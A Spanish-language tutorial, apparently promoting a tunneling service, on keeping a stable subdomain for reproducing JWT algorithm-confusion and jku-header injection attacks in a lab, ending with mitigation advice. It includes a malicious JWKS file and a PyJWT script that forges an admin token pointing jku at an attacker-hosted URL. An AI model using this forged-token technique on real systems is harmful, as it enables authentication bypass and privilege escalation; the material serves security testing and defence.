Redirecciones Estables para Pruebas de Autenticación: Depuración de Vulnerabilidades JWT con Subdominios Persistentes

Si pasas tus días construyendo sistemas de Identity and Access Management (IAM) o buscando errores en flujos de autenticación, probablemente estés muy familiarizado con el problema del túnel efímero.

Configuras tu entorno de desarrollo local, inicias un túnel para enrutar tráfico público a tu localhost, y comienzas a probar un callback OAuth 2.0 complejo o un flujo de verificación de JSON Web Token (JWT). Luego, tu portátil se duerme, tu Wi-Fi se cae durante tres segundos, o accidentalmente presionas Ctrl+C. El túnel se reinicia. Tu URL generada cambia de https://a1b2c3d4.random-tunnel.com a https://e5f6g7h8.random-tunnel.com. De repente, las allowlists de tu Identity Provider (IdP), las políticas CORS y las URIs de redirección configuradas cuidadosamente se rompen. Tienes que volver a ingresar en Auth0, Okta o Keycloak, actualizar las URLs de callback, y comenzar toda la secuencia de pruebas desde cero.

Cuando pruebas vulnerabilidades de seguridad complejas — como confusión de algoritmos JWT o inyección maliciosa en el header JWKS (jku) — esta constante reconfiguración es más que una molestia. Interrumpe tu flujo, ralentiza tu investigación, y puede introducir errores de configuración.

En esta guía, veremos cómo construir un entorno de pruebas de autenticación estable y predecible localmente, profundizaremos en cómo funcionan realmente las vulnerabilidades modernas de JWT, y te guiaremos para reproducirlas usando un subdominio persistente — siendo precisos sobre qué herramientas de tunneling realmente ofrecen esa persistencia gratis, y cuáles solo parecen hacerlo.

La Agonía de URLs Efímeras en Autenticación

Los protocolos de autenticación modernos dependen en gran medida de una validación estricta de URIs. Ya sea que implementes OpenID Connect (OIDC), SAML SSO, o OAuth 2.0, el modelo de seguridad dicta que los tokens y los códigos de autorización solo deben entregarse a endpoints explícitamente pre-registrados y confiables.

Cuando usas un servicio de tunneling que entrega una URL aleatoria y efímera cada vez que se inicia, esto crea una fricción real en la investigación de seguridad y en el desarrollo backend:

• Validación estricta de redirect URI. Los proveedores OAuth generalmente esperan una coincidencia exacta en las URIs de redirección registradas. Un subdominio cambiado significa que el IdP rechazará el callback, bloqueando todo el flujo.

• CORS y políticas de origen. Las configuraciones de Cross-Origin Resource Sharing en aplicaciones web modernas restringen las solicitudes API a orígenes conocidos. Una URL efímera requiere actualizar constantemente variables de entorno y reiniciar servidores frontend para evitar fallos en preflight.

• Webhooks y callbacks de eventos. Cuando se prueban eventos de autenticación asincrónicos (webhooks de registro de usuario, señales de revocación de tokens), el servicio externo necesita una URL estable para entregar la carga útil.

• Hosting de payloads maliciosos para pruebas de seguridad. Como veremos con vulnerabilidades JWT, probar ciertos exploits requiere alojar una carga útil falsificada (como un conjunto de claves públicas falsificadas) en una URL accesible por el servidor objetivo. Si esa URL cambia constantemente, reproducir el exploit se vuelve tedioso.

Históricamente, un subdominio persistente significaba pagar por él — y para la mayoría de servicios de tunneling, eso sigue siendo así hoy. Es importante ser directo, porque mucho marketing de “nivel gratuito” difumina esa línea.

Dónde lo “Gratis” Realmente Te Da un Subdominio Estable

No todas las herramientas que anuncian un nivel gratuito ofrecen un subdominio persistente y personalizado. Pinggy, por ejemplo, es un túnel SSH realmente útil sin necesidad de instalación, pero su plan gratuito te da un subdominio aleatorio y limita cada sesión a 60 minutos — un nuevo túnel significa una URL nueva. Los subdominios persistentes y personalizados en Pinggy son una función de pago. Si una guía te dice lo contrario, revisa la página de precios del proveedor antes de construir tu flujo de trabajo.

Dos enfoques que sí funcionan:

• InstaTunnel ofrece subdominios personalizados en su nivel gratuito: sesiones de 24 horas, hasta tres túneles simultáneos, y un flag --subdomain que te permite solicitar el mismo nombre en cada ejecución (https://tu-nombre.instatunnel.my). Es una opción razonable si quieres un nombre estable sin necesidad de tarjeta de crédito.

• Cloudflare Tunnel te da un túnel con nombre verdaderamente permanente y gratuito, sin límite de ancho de banda ni expiración — pero requiere una cuenta de Cloudflare y un dominio en su DNS, por lo que tiene una configuración inicial más compleja que las herramientas de un solo comando.

Para el recorrido que haremos abajo, usaremos InstaTunnel, ya que solo requiere una instalación con npm y obtiene un subdominio estable en un comando — útil cuando quieres configurar la allowlist de un IdP una sola vez y dejar de preocuparte por ello.

Análisis Profundo: Confusión de Algoritmos JWT

Para entender por qué un túnel estable importa en las pruebas, ayuda ver cómo funcionan realmente estos exploits. Un JWT consta de tres partes separadas por puntos: un header, un payload, y una firma. El header indica el algoritmo criptográfico usado para asegurar el token — comúnmente HS256 (HMAC simétrico) o RS256 (RSA asimétrico).

Confusión de algoritmos sucede cuando un servidor espera un token firmado con un algoritmo asimétrico como RS256, pero puede ser engañado para verificar un token firmado con un algoritmo simétrico como HS256 — usando la clave pública RSA como secreto HMAC. Dado que las claves públicas RSA son, por diseño, públicas, un atacante que pueda hacer que el servidor trate esa clave como un secreto HMAC puede falsificar un token firmado válidamente.

Esto se ha documentado desde 2015 y aún aparece en sistemas en producción, aunque las causas raíz han cambiado con el tiempo:

• Valores predeterminados de librerías antiguas. Versiones de jsonwebtoken en Node hasta la 8.5.1 caían en el modo none y omitían la verificación de firma en ciertas condiciones (sin algoritmo, clave falsa, token sin firma) — registrado como CVE-2022-23540 y corregido en versión 9.0.0. Las implementaciones antiguas sin actualizar siguen expuestas a esa vulnerabilidad.

• Comportamiento actual de librerías. PyJWT (versión 2.x) ahora requiere una lista explícita de algorithms en jwt.decode() — no puedes omitirla accidentalmente. Esto cierra un modo de fallo, pero no todos: si un desarrollador pasa algorithms=['RS256', 'HS256'], pensando en soportar ambos, la librería aceptará un token firmado con HS256, verificándolo con la clave que le proporciones — incluyendo una clave pública RSA mal utilizada como secreto HMAC.

• Selección dinámica de algoritmo. El patrón más peligroso es cuando el código lee el algoritmo del header (controlado por el atacante) del propio token y lo vuelve a usar en la verificación, en lugar de hardcodear el único algoritmo que la aplicación realmente espera.

La Anatomía del Ataque

Un investigador que prueba una caída de RS256 a HS256 suele seguir estos pasos:

1. Obtener la clave pública. Usualmente en un endpoint tipo /.well-known/jwks.json, o en la documentación pública del IdP.

2. Modificar el token. Decodifica un JWT legítimo, cambia alg de RS256 a HS256 en el header, y modifica el payload para intentar un cambio de privilegios (ej. "role": "user" → "role": "admin").

3. Firmar con la clave pública como secreto HMAC. Firma el token modificado usando HMAC-SHA256, con la cadena de la clave pública RSA como secreto simétrico.

4. Enviar y observar. Si el servidor lee HS256 del header, realiza la verificación HMAC, y usa su clave pública RSA como secreto, la firma falsificada verifica.

Prueba de Inyección en el header jku

Otra vulnerabilidad relacionada involucra el header jku (JWK Set URL), que la especificación JWT permite como puntero a donde el servidor debe buscar la clave pública para verificar el token. Si el servidor descarga la URL sin verificarla contra una allowlist, un atacante puede alojar su propio conjunto de claves JWK, apuntar jku a esa URL, y firmar el token con la clave privada correspondiente.

Aquí es donde las URLs efímeras de túneles se vuelven un obstáculo real: el investigador necesita alojar un archivo jwks.json malicioso en una URL pública estable, porque cada vez que el túnel se reinicia con una nueva dirección, el script de exploit y el header jku deben actualizarse para coincidir.

Guía paso a paso: Configurar un entorno de pruebas persistente

Paso 1: Obtener un subdominio estable

Instala InstaTunnel y comienza un túnel con un subdominio elegido:

npm install -g instatunnel



# Reemplaza 'mi-lab-exploit-jwt' por el subdominio que prefieras

instatunnel 8080 --subdomain mi-lab-exploit-jwt

Esto enruta https://mi-lab-exploit-jwt.instatunnel.my a tu puerto local 8080. En el nivel gratuito, las sesiones duran hasta 24 horas y puedes solicitar el mismo subdominio en cada ejecución, así que la configuración del IdP y los scripts de exploit no necesitan cambiar entre sesiones.

Paso 2: Configura tu interceptador OAuth

Si estás probando con un IdP de terceros, añade la URI de redirección estable en el panel de control de Auth0 o Okta:

https://mi-lab-exploit-jwt.instatunnel.my/callback

Dado que el subdominio es tuyo, no deberías necesitar modificar esta configuración otra vez para el proyecto.

Paso 3: Aloja la carga útil maliciosa JWKS (para ataques jku)

Genera un par de claves RSA del atacante y formatea la clave pública como un JWK. Guárdalo como jwks.json:

{

  "keys": [

    {

      "kty": "RSA",

      "kid": "malicious-key-id-001",

      "use": "sig",

      "n": "TU_MODULO_DE_CLAVE_PUBLICA_DE_ATACANTE...",

      "e": "AQAB"

    }

  ]

}

Sirve el archivo con un servidor HTTP local simple:

python3 -m http.server 8080

Tu conjunto de claves malicioso ahora está alojado de forma confiable en https://mi-lab-exploit-jwt.instatunnel.my/jwks.json.

Paso 4: Crea el token malicioso

import jwt  # PyJWT

from cryptography.hazmat.primitives import serialization



with open("attacker_private_key.pem", "rb") as key_file:

    private_key = serialization.load_pem_private_key(key_file.read(), password=None)



payload = {

    "sub": "admin_user_id",

    "role": "admin",

}



headers = {

    "kid": "malicious-key-id-001",

    "jku": "https://mi-lab-exploit-jwt.instatunnel.my/jwks.json",

}



encoded_jwt = jwt.encode(payload, private_key, algorithm="RS256", headers=headers)

print(f"Token falsificado: {encoded_jwt}")

Paso 5: Ejecuta y depura

Envía el token falsificado a la aplicación objetivo. Si confía ciegamente en el header jku, resolverá tu URL estable, descargará tu jwks.json, y — si es vulnerable — verificará el token falsificado con éxito.

Como la URL del túnel no cambia entre ejecuciones, puedes poner puntos de interrupción en la aplicación objetivo, reiniciarla, ajustar tu script de exploit, y repetir el ataque sin tener que actualizar la URL del payload cada vez.

Cómo proteger las aplicaciones contra estos ataques

Una vez que has reproducido la vulnerabilidad en un entorno controlado, las soluciones están bien establecidas:

• Imponer un algoritmo estricto y codificado. Nunca permitas que la función de verificación confíe en el algoritmo nombrado en el header del token. Especifica exactamente lo que esperas:

  • Node.js (jsonwebtoken): jwt.verify(token, publicKey, { algorithms: ['RS256'] })

  • Python (PyJWT): jwt.decode(token, public_key, algorithms=['RS256'])

• Mantén separados los tipos de claves. Los secretos simétricos (para HMAC) y las claves públicas asimétricas nunca deben ser intercambiables en la configuración de tu aplicación — no los almacenes en una sola variable JWT_KEY que el código tenga que adivinar.

• Lista blanca de dominios jku y x5u. Si tu aplicación necesita obtener claves dinámicamente desde una URL en el header, valida esa URL contra una lista blanca estricta en lugar de aceptarla tal cual.

• Rechaza explícitamente alg: none. Las versiones actuales de las principales librerías ya no aceptan tokens sin firma por defecto, pero las implementaciones personalizadas y sistemas legacy sin actualizar aún pueden procesarlos — verifica que esto sea rechazado en tu stack, no lo des por hecho.

• Mantén actualizadas las dependencias. La vulnerabilidad CVE-2022-23540 en jsonwebtoken por uso del algoritmo none es un recordatorio de que los defaults de las librerías cambian por motivos de seguridad; usar versiones antiguas puede reintroducir vulnerabilidades corregidas.

Conclusión

Probar fallos de autenticación requiere precisión y consistencia — un entorno que no te compita. URLs efímeras introducen fricción que rompe configuraciones y hace que las vulnerabilidades sean más difíciles de reproducir de forma fiable.

Un subdominio verdaderamente persistente, ya sea con una herramienta como InstaTunnel en su nivel gratuito o con un túnel nombrado en Cloudflare configurado por ti, elimina esa fricción. Solo sé escéptico ante cualquier herramienta que afirme “subdominios personalizados en el nivel gratuito” sin verificar su página de precios actual — varios túneles ampliamente recomendados, incluido Pinggy, aún reservan esa función para planes de pago. Ya sea que estés depurando redirecciones OAuth, probando entregas de webhooks, o reproduciendo un ataque de confusión de algoritmos JWT, una URL estable te permite concentrarte en la lógica de la vulnerabilidad en lugar de en la logística de la red.